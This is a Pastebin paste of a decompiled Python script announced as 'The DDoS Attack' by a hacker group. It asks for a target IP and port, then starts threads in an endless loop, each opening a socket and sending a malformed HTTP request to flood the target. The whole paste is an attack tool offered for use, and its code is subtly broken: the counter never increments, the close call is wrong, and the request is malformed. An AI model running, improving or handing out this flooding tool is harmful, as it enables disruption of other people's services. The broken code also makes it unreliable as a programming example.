Advertisement
P22DX

ilucx.py

Jun 28th, 2020
1,788
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.55 KB | None | 0 0
  1. # uncompyle6 version 3.7.2
  2. # Python bytecode 2.7 (62211)
  3. # Decompiled from: Python 3.8.3 (default, May 14 2020, 14:40:29)
  4. # [Clang 8.0.7 (https://android.googlesource.com/toolchain/clang b55f2d4ebfd35bf6
  5. # Embedded file name: /storage/sdcard0/ilucx.py
  6. # Compiled at: 2014-11-20 22:01:26
  7. import _thread, socket;
  8.  
  9. print('''\x07\n                       \n**  **      **    **  ******  ***     ***\n**  **      **    **  ******   **     **\n**  **      **    **  **         ** **\n**  **      **    **  **          ***\n**  **      **    **  **          ***\n**  **      **    **  **         ** **\n**  ******  ********  ******   **     **   \n**  ******  ********  ******  ***     ***\n  \n
  10. ''');
  11. print('''
  12. The DDoS Attack
  13. Risen by @Cvar1984
  14. #IlucxCyberArmy
  15. One command, one spirit, we are not weak
  16. Hajarr mbah...
  17. ''');
  18.  
  19. host = input('Please, enter IP target: ');
  20. port = input('Port number: ');
  21.  
  22. def connect(host, port):
  23.     try:
  24.         with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
  25.             s.connect((host, int(port)))
  26.             s.sendall(b'''
  27.                    HTTP/1.1\r\n
  28.                    GET /\r\n
  29.                    Accept: */*\r\n\r\n
  30.                    ''');
  31.             print('Received', repr(s.recv(1024)));
  32.             socket.close();
  33.     except Exception as e:
  34.         print(e);
  35.     except KeyboardInterrupt as e:
  36.         exit();
  37. x = 0
  38. worker = {};
  39. while True:
  40.     try:
  41.         worker[x] = _thread.start_new_thread(connect, (host, port));
  42.         ++x;
  43.     except Exception as e:
  44.         print(e);
  45.     except KeyboardInterrupt as e:
  46.         exit();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement